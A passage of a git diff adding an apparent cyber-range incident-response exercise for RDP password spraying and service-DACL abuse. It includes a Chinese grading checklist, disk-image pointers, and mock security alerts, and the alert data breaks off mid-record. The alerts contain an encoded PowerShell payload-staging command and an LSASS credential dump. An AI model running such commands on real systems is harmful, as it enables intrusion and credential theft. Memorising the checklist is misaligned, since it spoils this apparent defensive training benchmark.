from low-privilege principals; Completeness requires retaining the administrator permissions the business needs, verifying the service can start, and checking similar services. diff --git a/ranges/rdp-service-abuse/checklist.md b/ranges/rdp-service-abuse/checklist.md new file mode 100644 index 0000000000000000000000000000000000000000..edb887b16fc2a65886000fdf5f7b5dbdba8c4e02 --- /dev/null +++ b/ranges/rdp-service-abuse/checklist.md @@ -0,0 +1,129 @@ +# range-rdp-service-abuse 检查清单 (schema v2) + +## 能力水位分 + +每个原子 CHK 三维: + +- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) +- **方案分**(满分 2 分):正确性(1) + 完整性(1) +- **仅检测项**:方案分标 N/A,不参与对应维度汇总 + +### CHK-01:RDP password spraying 失败登录识别 `Q-02` + +- **证据**:Security 4625、TerminalServices 认证事件、同一来源在短时间内尝试多个本地账号。 +- **检测分**:发现 RDP 失败登录模式;引用账号、时间窗、事件 ID 或日志路径;归因为 password spraying,而不是普通单次登录失败。 +- **方案分**:N/A。 + +### CHK-02:`helpdesk` RDP 成功登录识别 `Q-02` + +- **证据**:`helpdesk` 的 Security 4624 / TerminalServices 1149 成功记录,Logon Type 与 RDP/远程交互一致。 +- **检测分**:发现成功账号;引用事件和来源;归因为攻击者命中的本地低权限账号。 +- **方案分**:N/A。 + +### CHK-03:攻击者源 IP `47.83.181.140` 归因 `ENT-N01` `Q-03` + +- **证据**:RDP 认证事件、SAS 告警或远程管理事件中的来源地址。 +- **检测分**:发现源 IP;引用至少一类日志证据;把该 IP 关联到 spraying 与后续操作时间线。 +- **方案分**:正确性要求建议封禁或收敛该来源;完整性要求说明云安全组/主机防火墙/日志留存的验证方式。 + +### CHK-04:初始入口归因为 RDP 弱口令,而不是 Web/RPC `BAS-03` `Q-01` + +- **证据**:先出现 RDP spraying 与 `helpdesk` 成功登录,再出现已认证服务控制行为。 +- **检测分**:发现入口类型;引用前后事件顺序;明确区分初始入口 RDP 与后续 credentialed 服务滥用执行通道(RPC/SCM 或 Windows OpenSSH local SCM fallback)。 +- **方案分**:正确性要求建议修复弱口令与 RDP 暴露面;完整性要求避免错误提出 Webshell/RCE 根因。 + +### CHK-05:`CorpBackupSvc` 弱服务 DACL 识别 `BAS-04` + +- **证据**:`CorpBackupSvc` 安全描述符中 `helpdesk` SID 具备 change config / start / stop 等服务控制权限。 +- **检测分**:发现弱 DACL;引用 SDDL、SID 或权限项;归因为低权限账号可滥用服务获得 SYSTEM 执行。 +- **方案分**:正确性要求移除 `helpdesk` 显式高危权限;完整性要求保留 SYSTEM/Administrators 必要权限并验证业务服务仍可配置。 + +### CHK-06:`CorpBackupSvc` 服务配置篡改识别 `PER-V03` + +- **证据**:SCM 7040/7045/7036、服务 `ImagePath` 异常、攻击窗口内 binPath 被改为 PowerShell payload 后恢复。 +- **检测分**:发现配置篡改;引用事件或配置证据;归因为服务 DACL 滥用后的执行动作。 +- **方案分**:正确性要求恢复合法 binPath;完整性要求复核服务启动账户、DACL、相关 SCM 事件。 + +### CHK-07:SYSTEM payload 执行链识别 `Q-02` + +- **证据**:服务启动后落地 `WindowsHealthSvc`、计划任务、凭据残留和 beacon 日志。 +- **检测分**:发现 SYSTEM payload 结果;引用多个落地产物;归因为服务执行带来的 SYSTEM 权限链。 +- **方案分**:正确性要求按服务滥用链清理;完整性要求覆盖 payload、持久化、凭据残留和账号轮换。 + +### CHK-08:伪装服务 `WindowsHealthSvc` 检出 `PER-V03` + +- **证据**:`HKLM:\SYSTEM\CurrentControlSet\Services\WindowsHealthSvc` 存在,binPath 指向 `C:\ProgramData\WindowsHealth\WindowsHealthSvc.ps1`。 +- **检测分**:发现伪装服务;引用注册表/服务配置;归因为攻击后服务持久化。 +- **方案分**:正确性要求停止并删除服务;完整性要求同时删除 payload 目录并检查相邻伪装服务。 + +### CHK-09:伪装服务 `WindowsHealthSvc` 清理建议 `PER-V03` + +- **证据**:同 CHK-08。 +- **检测分**:N/A。 +- **方案分**:正确性要求包含 `sc.exe stop WindowsHealthSvc` 和 `sc.exe delete WindowsHealthSvc` 或等价 PowerShell;完整性要求先取证后清理、再验证服务和进程均不存在。 + +### CHK-10:计划任务 `HealthSync` 检出 `PER-S04` + +- **证据**:`\Microsoft\Windows\Maintenance\HealthSync` 存在,Action 指向 WindowsHealth payload。 +- **检测分**:发现计划任务;引用 TaskPath、TaskName、Action;归因为攻击后计划任务持久化。 +- **方案分**:正确性要求删除该任务;完整性要求检查同路径下相邻伪装任务。 + +### CHK-11:计划任务 action 风险分析 `PER-S04` + +- **证据**:任务 Action 使用 PowerShell、ExecutionPolicy Bypass 或非标准 ProgramData 路径。 +- **检测分**:发现高危 action;引用完整命令;归因为持久化拉起 payload,而不是普通系统维护任务。 +- **方案分**:正确性要求解释风险并删除或禁用;完整性要求解码/展开所有参数后再下结论。 + +### CHK-12:计划任务清理建议 `PER-S04` + +- **证据**:同 CHK-10/11。 +- **检测分**:N/A。 +- **方案分**:正确性要求包含 `Unregister-ScheduledTask` 或等价删除命令;完整性要求验证任务 XML 和运行实例都已消失。 + +### CHK-13:payload 目录 `C:\ProgramData\WindowsHealth` 检出 `ENT-F06` + +- **证据**:`C:\ProgramData\WindowsHealth`、`WindowsHealthSvc.ps1`、`last-beacon.log`。 +- **检测分**:发现目录和文件;引用路径、mtime 或内容;归因为持久化 payload 与 C2 日志目录。 +- **方案分**:正确性要求删除目录;完整性要求先删除服务/任务再删除目录,避免被重新创建。 + +### CHK-14:C2 indicator `malicious-update.example.cn:8443` 识别 `ENT-N03` + +- **证据**:`last-beacon.log` 中的域名和端口。 +- **检测分**:发现 C2 indicator;引用日志内容;归因为 beacon/回连指标,而不是普通业务域名。 +- **方案分**:正确性要求封禁域名/端口或出站策略;完整性要求说明 DNS、代理、防火墙和日志回溯。 + +### CHK-15:`procdump.exe` 凭据工具残留识别 `ENT-F06` + +- **证据**:`C:\Windows\Temp\procdump.exe`。 +- **检测分**:发现工具残留;引用路径;归因为 LSASS dump 工具链一部分。 +- **方案分**:正确性要求删除工具;完整性要求检查其他临时目录和同时间窗工具。 + +### CHK-16:`lsass.dmp` 敏感 dump 识别 `ENT-F04` + +- **证据**:`C:\Windows\Temp\lsass.dmp`,内容标记为 LSASS dump。 +- **检测分**:发现 dump;引用路径和文件类型/内容;归因为凭据窃取影响面。 +- **方案分**:正确性要求删除敏感 dump;完整性要求先记录影响范围并触发凭据轮换。 + +### CHK-17:`creds.txt` 凭据文本残留识别 `ENT-F04` + +- **证据**:`C:\Windows\Temp\creds.txt`。 +- **检测分**:发现凭据文本;引用路径;归因为凭据泄露残留,不能在报告中泄露明文内容。 +- **方案分**:正确性要求删除文本;完整性要求说明凭据轮换、会话吊销和横向移动复查。 + +### CHK-18:凭据轮换与会话吊销建议 `BAS-03` + +- **证据**:procdump、lsass dump、creds.txt 任一存在即触发。 +- **检测分**:发现凭据影响面;引用残留链;归因为本地账号和可能缓存凭据已不可信。 +- **方案分**:正确性要求轮换受影响本地账号密码;完整性要求吊销活动会话、排查复用凭据和横向移动。 + +### CHK-19:`helpdesk` 弱口令修复建议 `BAS-03` + +- **证据**:`helpdesk` 被 RDP spraying 命中。 +- **检测分**:发现弱口令账号;引用成功登录证据;归因为有效账号入口。 +- **方案分**:正确性要求禁用或轮换 `helpdesk` 密码;完整性要求收敛 RDP 暴露、限制 Remote Desktop Users 成员并启用审计/锁定策略。 + +### CHK-20:服务 DACL 最小权限修复建议 `BAS-04` + +- **证据**:`CorpBackupSvc` DACL 显式授权 `helpdesk` 高危服务控制权限。 +- **检测分**:发现服务权限风险;引用 SDDL/SID;归因为服务误配置导致提权。 +- **方案分**:正确性要求移除低权限主体的 change config/start/stop/write 权限;完整性要求保留业务所需管理员权限、验证服务可启动并检查类似服务。 diff --git a/ranges/rdp-service-abuse/disk.tar.gz b/ranges/rdp-service-abuse/disk.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..a4e73023a5fbb1fd792a3d2b2413e053a116784f --- /dev/null +++ b/ranges/rdp-service-abuse/disk.tar.gz @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8ee0392f6ddf0ca718093170c514eaee6e848d3117c3a5333ebebccb3f147151 +size 68822971 diff --git a/ranges/rdp-service-abuse/disk.tar.gz.sha256 b/ranges/rdp-service-abuse/disk.tar.gz.sha256 new file mode 100644 index 0000000000000000000000000000000000000000..fd9f18baa8adc94872f07b4b9a2b5dcdec3db8d4 --- /dev/null +++ b/ranges/rdp-service-abuse/disk.tar.gz.sha256 @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:de3052d5fb187c70d9d260ed5eddcff14ea9a6857de50ebecb65cbe8eab6d45d +size 78 diff --git a/ranges/rdp-service-abuse/sas-mock/alerts.json b/ranges/rdp-service-abuse/sas-mock/alerts.json new file mode 100644 index 0000000000000000000000000000000000000000..ca73848d816bdccbb6cd6edc51924a6557090d01 --- /dev/null +++ b/ranges/rdp-service-abuse/sas-mock/alerts.json @@ -0,0 +1,925 @@ +{ + "instance_id": "i-bp1864d401as14btd9vf", + "pages": [ + { + "Count": 7, + "CurrentPage": 1, + "PageSize": 50, + "RequestId": "4B10019E-816C-59D6-B93A-BD7B7BC060B8", + "SuspEvents": [ + { + "Advanced": false, + "AlarmEventName": "渗透工具利用行为", + "AlarmEventNameDisplay": "渗透工具利用行为", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "4bccb36a1ecc7bb8b1568593fdab4c19", + "AutoBreaking": false, + "CanBeDealOnLine": false, + "CanCancelFault": false, + "ContainHwMode": false, + "DataSource": "aegis_suspicious_event", + "Desc": "渗透工具利用行为", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "在您的系统上检测到了渗透工具的利用特征, 可能是攻击者已经入侵到该服务器中.", + "ValueDisplay": "在您的系统上检测到了渗透工具的利用特征, 可能是攻击者已经入侵到该服务器中." + }, + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": "该进程对一个特定路径的文件有写入行为,与渗透工具的行为高度相似。\n\t ", + "ValueDisplay": "该进程对一个特定路径的文件有写入行为,与渗透工具的行为高度相似。\n\t " + }, + { + "NameDisplay": "工具信息", + "Type": "text", + "Value": "\t HashDump\n", + "ValueDisplay": "\t HashDump\n" + }, + { + "NameDisplay": "写入文件路径", + "Type": "text", + "Value": "c:/windows/temp/lsass.dmp", + "ValueDisplay": "c:/windows/temp/lsass.dmp" + }, + { + "NameDisplay": "域名称", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\ProgramData\\CorpBackup\\system-stage.ps1", + "ValueDisplay": "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\ProgramData\\CorpBackup\\system-stage.ps1" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe", + "ValueDisplay": "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "4300", + "ValueDisplay": "4300" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "476", + "ValueDisplay": "476" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[440]  wininit.exe\n
    -[580]  C:\\Windows\\system32\\services.exe\n
        -[476]  cmd.exe /c powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\ProgramData\\CorpBackup\\system-stage.ps1

\n", + "ValueDisplay": "

-[440]  wininit.exe\n
    -[580]  C:\\Windows\\system32\\services.exe\n
        -[476]  cmd.exe /c powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\ProgramData\\CorpBackup\\system-stage.ps1

\n" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "该进程的命令行特征, 进程文件特征, 父子进程调用关系等, 与已知的蠕虫病毒特征或黑客攻击行为较为相似.", + "ValueDisplay": "该进程的命令行特征, 进程文件特征, 父子进程调用关系等, 与已知的蠕虫病毒特征或黑客攻击行为较为相似." + }, + { + "NameDisplay": "处置建议", + "Type": "text", + "Value": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为.", + "ValueDisplay": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为." + } + ], + "DisplaySandboxResult": false, + "EventNotes": [], + "EventStatus": 1, + "EventSubType": "渗透工具利用行为", + "HasTraceInfo": true, + "Id": 720183107, + "InstanceId": "i-bp1864d401as14btd9vf", + "InstanceName": "range-rdp-service-abuse-victim", + "InternetIp": "121.41.86.186", + "IntranetIp": "172.16.33.176", + "LargeModel": true, + "LastTime": "2026-06-03 10:51:14", + "LastTimeStamp": 1780455074000, + "Level": "serious", + "Name": "进程异常行为-渗透工具利用行为", + "OccurrenceTime": "2026-06-03 10:42:13", + "OccurrenceTimeStamp": 1780454533000, + "OperateErrorCode": "", + "OperateMsg": "", + "SaleVersion": "1", + "SecurityEventIds": "720183107", + "Stages": "[\"持久化\",\"代码执行\"]", + "SupportOperateCode": "AI.real_attack", + "TacticItems": [ + { + "TacticDisplayName": "持久化", + "TacticId": "TA0003" + }, + { + "TacticDisplayName": "代码执行", + "TacticId": "TA0002" + } + ], + "UniqueInfo": "dec1dca7df8d04b98964b092a07b74b2", + "Uuid": "81c68948-7aa1-4cc6-a520-da886bb329cf" + }, + { + "Advanced": false, + "AlarmEventName": "可疑Powershell指令", + "AlarmEventNameDisplay": "可疑Powershell指令", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "820f7473cd1699ad2bcd32accf40a03d", + "AutoBreaking": false, + "CanBeDealOnLine": false, + "CanCancelFault": false, + "ContainHwMode": false, + "DataSource": "aegis_suspicious_event", + "Desc": "黑客常常利用Powershell进行恶意文件下载、恶意文件不落盘持久化运行、反弹shell等恶意行为。", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "在您的系统上发现一个可疑进程, 可能与蠕虫病毒或入侵事件相关.", + "ValueDisplay": "在您的系统上发现一个可疑进程, 可能与蠕虫病毒或入侵事件相关." + }, + { + "NameDisplay": "ATT&CK 矩阵ID", + "Type": "text", + "Value": "T1059.001", + "ValueDisplay": "T1059.001" + }, + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": " 该Powershell命令中包含编码片段, 且解码后的内容较为可疑.\n ", + "ValueDisplay": " 该Powershell命令中包含编码片段, 且解码后的内容较为可疑.\n " + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "Administrator", + "ValueDisplay": "Administrator" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAAoAJABiADYANAAgAD0AIABbAEMAbwBuAHMAbwBsAGUAXQA6ADoASQBuAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApAAoAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEMAbwByAHAAQgBhAGMAawB1AHAAXABzAHkAcwB0AGUAbQAtAHMAdABhAGcAZQAuAHAAcwAxACcALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFsAcAByAGUAcABdACAAdQBwAGwAbwBhAGQAZQBkACAAYwB1AHIAcgBlAG4AdAAgAHMAeQBzAHQAZQBtAC0AcwB0AGEAZwBlAC4AcABzADEAJwAKAA==", + "ValueDisplay": "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAAoAJABiADYANAAgAD0AIABbAEMAbwBuAHMAbwBsAGUAXQA6ADoASQBuAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApAAoAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEMAbwByAHAAQgBhAGMAawB1AHAAXABzAHkAcwB0AGUAbQAtAHMAdABhAGcAZQAuAHAAcwAxACcALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFsAcAByAGUAcABdACAAdQBwAGwAbwBhAGQAZQBkACAAYwB1AHIAcgBlAG4AdAAgAHMAeQBzAHQAZQBtAC0AcwB0AGEAZwBlAC4AcABzADEAJwAKAA==" + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe", + "ValueDisplay": "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "4684", + "ValueDisplay": "4684" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "\"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAAoAJABiADYANAAgAD0AIABbAEMAbwBuAHMAbwBsAGUAXQA6ADoASQBuAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApAAoAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEMAbwByAHAAQgBhAGMAawB1AHAAXABzAHkAcwB0AGUAbQAtAHMAdABhAGcAZQAuAHAAcwAxACcALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFsAcAByAGUAcABdACAAdQBwAGwAbwBhAGQAZQBkACAAYwB1AHIAcgBlAG4AdAAgAHMAeQBzAHQAZQBtAC0AcwB0AGEAZwBlAC4AcABzADEAJwAKAA==\"", + "ValueDisplay": "\"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAAoAJABiADYANAAgAD0AIABbAEMAbwBuAHMAbwBsAGUAXQA6ADoASQBuAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApAAoAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEMAbwByAHAAQgBhAGMAawB1AHAAXABzAHkAcwB0AGUAbQAtAHMAdABhAGcAZQAuAHAAcwAxACcALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFsAcAByAGUAcABdACAAdQBwAGwAbwBhAGQAZQBkACAAYwB1AHIAcgBlAG4AdAAgAHMAeQBzAHQAZQBtAC0AcwB0AGEAZwBlAC4AcABzADEAJwAKAA==\"" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "C:/Windows/System32/cmd.exe", + "ValueDisplay": "C:/Windows/System32/cmd.exe" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "4464", + "ValueDisplay": "4464" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[440]  wininit.exe\n
    -[580]  C:\\Windows\\system32\\services.exe\n
        -[2808]  C:\\Windows\\System32\\OpenSSH\\sshd.exe\n
            -[5316]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -R\n
                -[2388]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -z\n
                    -[4464]  \"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAAoAJABiADYANAAgAD0AIABbAEMAbwBuAHMAbwBsAGUAXQA6ADoASQBuAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApAAoAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEMAbwByAHAAQgBhAGMAawB1AHAAXABzAHkAcwB0AGUAbQAtAHMAdABhAGcAZQAuAHAAcwAxACcALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFsAcAByAGUAcABdACAAdQBwAGwAbwBhAGQAZQBkACAAYwB1AHIAcgBlAG4AdAAgAHMAeQBzAHQAZQBtAC0AcwB0AGEAZwBlAC4AcABzADEAJwAKAA==\"

\n", + "ValueDisplay": "

-[440]  wininit.exe\n
    -[580]  C:\\Windows\\system32\\services.exe\n
        -[2808]  C:\\Windows\\System32\\OpenSSH\\sshd.exe\n
            -[5316]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -R\n
                -[2388]  \"C:\\Windows\\System32\\OpenSSH\\sshd.exe\" -z\n
                    -[4464]  \"c:\\windows\\system32\\cmd.exe\" /c \"powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand CgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAAoAJABiADYANAAgAD0AIABbAEMAbwBuAHMAbwBsAGUAXQA6ADoASQBuAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApAAoAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEMAbwByAHAAQgBhAGMAawB1AHAAXABzAHkAcwB0AGUAbQAtAHMAdABhAGcAZQAuAHAAcwAxACcALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAFsAcAByAGUAcABdACAAdQBwAGwAbwBhAGQAZQBkACAAYwB1AHIAcgBlAG4AdAAgAHMAeQBzAHQAZQBtAC0AcwB0AGEAZwBlAC4AcABzADEAJwAKAA==\"

\n" + }, + { + "NameDisplay": "描述", + "Type": "text", + "Value": "该进程的命令行特征, 进程文件特征, 父子进程调用关系等, 与已知的蠕虫病毒特征或黑客攻击行为较为相似.", + "ValueDisplay": "该进程的命令行特征, 进程文件特征, 父子进程调用关系等, 与已知的蠕虫病毒特征或黑客攻击行为较为相似." + }, + { + "NameDisplay": "处置建议", + "Type": "text", + "Value": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为.", + "ValueDisplay": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为." + } + ], + "DisplaySandboxResult": false, + "EventNotes": [], + "EventStatus": 1, + "EventSubType": "可疑Powershell指令", + "HasTraceInfo": true, + "Id": 720620384, + "InstanceId": "i-bp1864d401as14btd9vf", + "InstanceName": "range-rdp-service-abuse-victim", + "InternetIp": "121.41.86.186", + "IntranetIp": "172.16.33.176", + "LargeModel": true, + "LastTime": "2026-06-03 10:41:30", + "LastTimeStamp": 1780454490000, + "Level": "suspicious", + "Name": "进程异常行为-可疑Powershell指令", + "OccurrenceTime": "2026-06-03 10:41:30", + "OccurrenceTimeStamp": 1780454490000, + "SaleVersion": "1", + "SecurityEventIds": "720620384", + "Stages": "[\"代码执行\"]", + "SupportOperateCode": "AI.real_attack", + "TacticItems": [ + { + "TacticDisplayName": "代码执行", + "TacticId": "TA0002" + } + ], + "UniqueInfo": "cca5ac9005982d4db357272d5d756aba", + "Uuid": "81c68948-7aa1-4cc6-a520-da886bb329cf" + }, + { + "Advanced": false, + "AlarmEventName": "渗透工具利用行为", + "AlarmEventNameDisplay": "渗透工具利用行为", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "7f49596549a9860a3d48d7ccdd67e723", + "AutoBreaking": false, + "CanBeDealOnLine": false, + "CanCancelFault": false, + "ContainHwMode": false, + "DataSource": "aegis_suspicious_event", + "Desc": "渗透工具利用行为", + "Details": [ + { + "NameDisplay": "提示", + "Type": "text", + "Value": "在您的系统上检测到了渗透工具的利用特征, 可能是攻击者已经入侵到该服务器中.", + "ValueDisplay": "在您的系统上检测到了渗透工具的利用特征, 可能是攻击者已经入侵到该服务器中." + }, + { + "NameDisplay": "告警原因", + "Type": "text", + "Value": "该进程对一个特定路径的文件有写入行为,与渗透工具的行为高度相似。\n\t ", + "ValueDisplay": "该进程对一个特定路径的文件有写入行为,与渗透工具的行为高度相似。\n\t " + }, + { + "NameDisplay": "工具信息", + "Type": "text", + "Value": "\t HashDump\n", + "ValueDisplay": "\t HashDump\n" + }, + { + "NameDisplay": "写入文件路径", + "Type": "text", + "Value": "c:/windows/temp/lsass.dmp", + "ValueDisplay": "c:/windows/temp/lsass.dmp" + }, + { + "NameDisplay": "域名称", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "用户名", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "命令行", + "Type": "text", + "Value": "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\ProgramData\\CorpBackup\\system-stage.ps1 ", + "ValueDisplay": "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\ProgramData\\CorpBackup\\system-stage.ps1 " + }, + { + "NameDisplay": "进程路径", + "Type": "text", + "Value": "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe", + "ValueDisplay": "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" + }, + { + "NameDisplay": "进程ID", + "Type": "text", + "Value": "296", + "ValueDisplay": "296" + }, + { + "NameDisplay": "父进程命令行", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "父进程文件路径", + "Type": "text", + "Value": "-", + "ValueDisplay": "-" + }, + { + "NameDisplay": "父进程ID", + "Type": "text", + "Value": "4092", + "ValueDisplay": "4092" + }, + { + "NameDisplay": "进程链", + "Type": "html", + "Value": "

-[440]  wininit.exe\n
    -[580]  C:\\Windows\\system32\\services.exe\n
        -[4092]  cmd.exe /c echo svc-start>C:\\Windows\\Temp\\svc-diag-start.txt & powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\ProgramData\\CorpBackup\\system-stage.ps1 > C:\\Windows\\Temp\\system-stage.out 2>&1 & echo svc-end>C:\\Windows\\Temp\\svc-diag-end.txt

\n", + "ValueDisplay": "

-[440]  wininit.exe\n
    -[580]  C:\\Windows\\system32\\services.exe\n
        -[4092]  cmd.exe /c echo svc-start>C:\\Windows\\Temp\\svc-diag-start.txt & powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\ProgramData\\CorpBackup\\system-stage.ps1 > C:\\Windows\\Temp\\system-stage.out 2>&1 & echo svc-end>C:\\Windows\\Temp\\svc-diag-end.txt

